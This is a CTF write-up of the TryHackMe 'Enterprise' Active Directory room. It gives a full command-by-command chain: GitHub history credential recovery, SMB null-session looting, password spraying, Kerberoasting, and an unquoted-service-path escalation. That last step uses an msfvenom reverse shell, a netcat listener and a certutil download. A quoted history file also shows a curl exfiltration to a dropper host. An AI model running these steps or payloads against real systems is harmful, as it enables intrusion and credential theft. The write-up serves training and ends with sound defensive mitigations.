Enterprise is a Hard-rated Windows Active Directory machine on TryHackMe. You land in an internal network with only a Domain Controller visible — no workstations, no other hosts. The attack surface is entirely web and domain.
Press enter or click to view image in full size
The kill chain spans three distinct phases: credential discovery through GitHub commit history and SMB anonymous enumeration, lateral movement via Kerberoasting, and local privilege escalation through an unquoted service path to achieve SYSTEM on the Domain Controller.
Platform : TryHackMe
Difficulty: Hard
OS : Windows Server 2019 (Build 10.0.17763)
Domain : LAB.ENTERPRISE.THM (child) / ENTERPRISE.THM (forest root)
DC : LAB-DC.LAB.ENTERPRISE.THMTable of ContentsOverview
Reconnaissance
Web Enumeration — Port 7990
OSINT — GitHub Credential Archaeology
SMB Enumeration — Anonymous Access
Credential Validation
Kerberoasting
RDP Foothold — User Flag
Privilege Escalation — Unquoted Service Path
Root Flag
Attack Chain Summary
Key Takeaways — Defense & Mitigation
Reconnaissance
nmap -Pn -sC -sV -p- <REDACTED>The scan returned a classic Active Directory fingerprint. A few details stood out beyond the standard port set.
The RDP TLS certificate revealed the hostname LAB-DC.LAB.ENTERPRISE.THM, and the LDAP response confirmed a two-domain forest structure — LAB.ENTERPRISE.THM as the child domain under ENTERPRISE.THM as the forest root. This is relevant later for trust abuse considerations.
Port 7990 showed an IIS 10.0 server with a page title of Log in to continue - Log in with Atlassian account — a self-hosted Atlassian product running directly on the DC.
SMB signing was required across the board, ruling out NTLM relay attacks.
PORT STATE SERVICE
---- ----- -------
53/tcp open DNS — Simple DNS Plus
80/tcp open HTTP — Microsoft IIS 10.0 (blank page)
88/tcp open Kerberos
135/tcp open MSRPC
139/tcp open NetBIOS-SSN
389/tcp open LDAP — Domain: ENTERPRISE.THM
445/tcp open SMB — signing required
464/tcp open kpasswd5
593/tcp open RPC over HTTP
3268/tcp open LDAP Global Catalog
3389/tcp open RDP — CN: LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open WinRM
7990/tcp open HTTP — Atlassian login portal
9389/tcp open AD Web ServicesAdded hostnames to /etc/hosts:
echo "<REDACTED> ENTERPRISE.THM LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM" | sudo tee -a /etc/hostsWeb Enumeration — Port 7990
Fetching the Atlassian portal on port 7990 returned a cloud-federated SSO login page. No locally exploitable Atlassian CVE applied here. However, the HTML source contained a banner injected into the login page:
Reminder to all Enterprise-THM Employees:
We are moving to Github!This was a deliberate hint pointing to a public GitHub organization. The next logical step was OSINT.
OSINT — GitHub Credential Archaeology
Queried the GitHub API for the Enterprise-THM organization:
curl -s https://api.github.com/orgs/Enterprise-THM/repos | jq '.[].clone_url'One repository returned: About-Us. Cloned it and examined the full commit history:
git clone https://github.com/Enterprise-THM/About-Us.git
cd About-Us
git log -pNothing useful — only two README commits. Checked organization members:
curl -s https://api.github.com/orgs/Enterprise-THM/members | jq '.[].login'Found member: Nik-enterprise-dev. Queried their public repositories:
curl -s https://api.github.com/users/Nik-enterprise-dev/repos | jq '.[].name'One repository: mgmtScript.ps1. The current file had empty credential fields — $userName = '' and $userPassword = ''. Checked the commit history:
curl -s https://api.github.com/repos/Nik-enterprise-dev/mgmtScript.ps1/commits | jq '.[] | {sha: .sha, message: .commit.message}'Two commits. The earlier one carried the message: “Updated things — I accidentally added something.” A dead giveaway. Pulled the original version:
curl -s https://raw.githubusercontent.com/Nik-enterprise-dev/mgmtScript.ps1/<REDACTED>/SystemInfo.ps1The original commit contained hardcoded credentials:
Press enter or click to view image in full size
$userName = 'nik'
$userPassword = '<REDACTED>'Note: Git commit history is permanent. Overwriting or deleting credentials in a later commit does not remove them from the repository history. Any credential pushed to a public repository should be treated as permanently compromised.
SMB Enumeration — Anonymous Access
With no credentials yet validated, attempted an anonymous SMB session:
smbclient -L //<REDACTED> -NThe null session succeeded. Shares enumerated:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Docs Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk Users Share. Do Not Touch!Press enter or click to view image in full size
Two non-standard shares stood out: Docs and Users. The comment on the Users share — "Do Not Touch!" — is a well-known CTF convention for "touch this immediately."
Docs Share
smbclient //<REDACTED>/Docs -N -c "mget *"Downloaded two files:
RSA-Secured-Credentials.xlsx (AES-256 encrypted)
RSA-Secured-Document-PII.docx (encrypted)Both were password-protected. Confirmed AES-256 encryption via strings output on the XLSX file. Set aside for later.
Users Share — PSReadline History
Recursively list the users' shares to map the directory tree:
smbclient //<REDACTED>/Users -N -c "recurse; ls"Visible user profiles: Administrator, atlbitbucket, bitbucket, LAB-ADMIN, Public.
Under LAB-ADMIN's profile, a PSReadline history file appeared:
\LAB-ADMIN\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\Consolehost_hisory.txtPSReadline automatically saves every command typed in PowerShell to this file. It persists across sessions and is readable by anyone with share access. Downloaded it:
smbclient //<REDACTED>/Users -N -c "get LAB-ADMIN\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\Consolehost_hisory.txt"
cat Consolehost_hisory.txtThe history contained:
cd C:\
mkdir monkey
cd ..
echo "<REDACTED>:<REDACTED>">private.txt
curl -X POST -H 'Content-Type: ascii/text' -d .\private.txt' http://[REDACTED]/dropper.php
del private.txtA credential string — replication:<REDACTED> — was written to a file and exfiltrated. The username suggested a domain replication account.
Credential Validation
Sprayed the recovered password across all known usernames from the SMB share enumeration:
crackmapexec smb <REDACTED> -u 'replication' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
crackmapexec smb <REDACTED> -u 'LAB-ADMIN' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
crackmapexec smb <REDACTED> -u 'atlbitbucket' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
crackmapexec smb <REDACTED> -u 'bitbucket' -p '<REDACTED>' -d LAB.ENTERPRISE.THMResult:
[-] LAB.ENTERPRISE.THM\replication:<REDACTED> STATUS_LOGON_FAILURE
[+] LAB.ENTERPRISE.THM\LAB-ADMIN:<REDACTED>
[-] LAB.ENTERPRISE.THM\atlbitbucket:<REDACTED> STATUS_LOGON_FAILURE
[-] LAB.ENTERPRISE.THM\bitbucket:<REDACTED> STATUS_LOGON_FAILURELAB-ADMIN validated. WinRM and RDP were blocked for this account — the RDP error indicated an expired password, and WinRM returned a flat denial.
Get Roshan Rajbanshi’s stories in your inbox
Join Medium for free to get updates from this writer.
Also validated the GitHub credentials nik:<REDACTED> from the commit history:
crackmapexec smb <REDACTED> -u 'nik' -p '<REDACTED>' -d LAB.ENTERPRISE.THM[+] LAB.ENTERPRISE.THM\nik:<REDACTED>Two valid domain accounts in hand. Both were standard users with SMB access only. The next step was to leverage authenticated domain access for Kerberoasting.
Kerberoasting
Any authenticated domain user can request Kerberos service tickets (TGS) for accounts with registered Service Principal Names. Those tickets are encrypted with the service account’s password hash and can be cracked offline.
impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'<REDACTED>' -dc-ip <REDACTED> -requestOne kerberoastable account returned:
ServicePrincipalName : HTTP/LAB-DC
Name : bitbucket
MemberOf : CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM
PasswordLastSet : 2021-03-11 20:20:01Press enter or click to view image in full size
The sensitive-account Group membership was noted — a custom group with a name suggesting elevated privileges.
The TGS hash type was RC4 (etype 23), which is faster to crack than AES. No GPU available, so used John the Ripper:
john bitbucket.hash --wordlist=/usr/share/wordlists/rockyou.txt<REDACTED> (bitbucket)
Session completed.Cracked in under five seconds.
Credentials: bitbucket:<REDACTED>
RDP Foothold — User Flag
Ran LDAP enumeration to understand bitbucket's group memberships before attempting access:
ldapsearch -x -H ldap://<REDACTED> -D "[email protected]" -w "<REDACTED>" -b "DC=LAB,DC=ENTERPRISE,DC=THM" "(sAMAccountName=bitbucket)" memberOfGroup memberships returned:
Press enter or click to view image in full size
memberOf: CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM
memberOf: CN=Password-Policy-Exemption,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THMRemote Desktop Users confirmed RDP access. Connected:
xfreerdp /u:bitbucket /p:'<REDACTED>' /d:LAB.ENTERPRISE.THM /v:<REDACTED> /cert:ignoreRDP session landed on the Domain Controller desktop as bitbucket.
Dead Ends Worth Documenting
Before moving to privesc, I explored the AD privilege path through sensitive-account. The group held DCSync rights — the replication account within it had the following extended rights on the domain object:
DS-Replication-Get-Changes (1131f6aa)
DS-Replication-Get-Changes-All (1131f6ab)
DS-Replication-Synchronize (1131f6ac)
DS-Replication-Manage-Topology (1131f6ad)However, the password recovered from the PSReadline history did not authenticate as replication. The account had PasswordLastSet: null — it may never have had a password set interactively.
Attempted to reach replication through korone and spooks, Both members of the Account Operators. However, bitbucket had no write ACE on either account. AS-REP roasting and additional Kerberoasting both returned nothing. This path was abandoned in favour of local privilege escalation.
user.txt — C:\Users\bitbucket\Desktop\Privilege Escalation — Unquoted Service Path
Enumerated auto-start services with unquoted paths containing spaces — the conditions required for an unquoted service path attack:
Get-WmiObject Win32_Service | Where-Object {
$_.StartMode -eq "Auto" -and
$_.PathName -notlike '"*' -and
$_.PathName -notlike "C:\Windows*" -and
$_.PathName -like "* *"
} | Select Name, PathNameThree services returned. One was immediately exploitable:
Name : zerotieroneservice
PathName : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exeWhy this is exploitable:
When Windows resolves an unquoted service path containing spaces, it attempts each space-delimited token as a potential executable, in order:
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Zero.exe <-- checked before the real binary
C:\Program Files (x86)\Zero Tier\Zero.exe
C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe <-- real binaryIf a malicious binary exists at any earlier path and the service runs as SYSTEM, it executes with SYSTEM privileges.
Confirmed write access to the target directory:
icacls "C:\Program Files (x86)\Zero Tier"BUILTIN\Users:(OI)(CI)(W)All domain users have write access. The exploit path was confirmed.
Generating the Payload
On Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<REDACTED> LPORT=4444 -f exe -o Zero.exeServed it over HTTP:
python3 -m http.server 8080Started the listener:
nc -lvnp 4444Planting the Binary
From the RDP PowerShell session, I downloaded the payload using certutil — a Windows built-in certificate utility commonly abused as a file downloader:
certutil -urlcache -f http://<REDACTED>:8080/Zero.exe "C:\Program Files (x86)\Zero Tier\Zero.exe"CertUtil: -URLCache command completed successfully.Triggering the Exploit
Restart-Service zerotieroneserviceThe service restarted, Windows resolved the path, and found Zero.exe before the legitimate binary, and executed it as SYSTEM.
Listener received the callback:
Press enter or click to view image in full size
Connection received on <REDACTED> 49956
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32> whoami
nt authority\systemRoot Flag
Press enter or click to view image in full size
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txtAttack Chain Summary
Nmap
└── Port 7990 Atlassian banner
└── "We are moving to Github"
└── GitHub API: Enterprise-THM org
└── About-Us repo → dead end
└── Member: Nik-enterprise-dev
└── mgmtScript.ps1 → original commit
└── nik:<REDACTED>SMB null session
└── Users share → PSReadline history (LAB-ADMIN)
└── <REDACTED>:<REDACTED>
└── Password spray → LAB-ADMIN:<REDACTED> (SMB valid)Kerberoast (as nik)
└── bitbucket → HTTP/LAB-DC SPN → TGS hash
└── John → <REDACTED>
└── LDAP → Remote Desktop Users membership
└── xfreerdp → RDP shell on DC
└── user.txt ✓Unquoted service path (zerotieroneservice)
└── C:\Program Files (x86)\Zero Tier\ → BUILTIN\Users:(W)
└── Plant Zero.exe → Restart-Service
└── nt authority\system
└── root.txt ✓
Key Takeaways — Defense & Mitigation
Git commit history is permanent. Credentials pushed to a public repository cannot be removed by overwriting them in a new commit. The only correct response is to immediately rotate the credential and treat it as fully compromised. Tools like git-secrets or pre-commit hooks can prevent accidental pushes.
PSReadline history is readable via SMB. Windows PowerShell saves command history to AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt for every user. If their profile directory is accessible over SMB — even anonymously — this file is trivially readable. Sensitive shares should require authenticated access with least-privilege ACLs.
Kerberoasting requires only a valid domain account. No elevated privileges are needed to request TGS tickets for SPN-enabled service accounts. Any service account with a weak password is roastable by any authenticated user. Service accounts should use long, randomly generated passwords and ideally Group Managed Service Accounts (gMSA), which rotate automatically.
Unquoted service paths with writable directories are SYSTEM escalation. The fix is one character — wrap the path in quotes in the service configuration. Any auto-start service running as SYSTEM with an unquoted path and a writable intermediate directory is a direct privilege escalation path for any local user. Regular audits with tools like PowerUp or manual WMI queries should be part of any hardening baseline.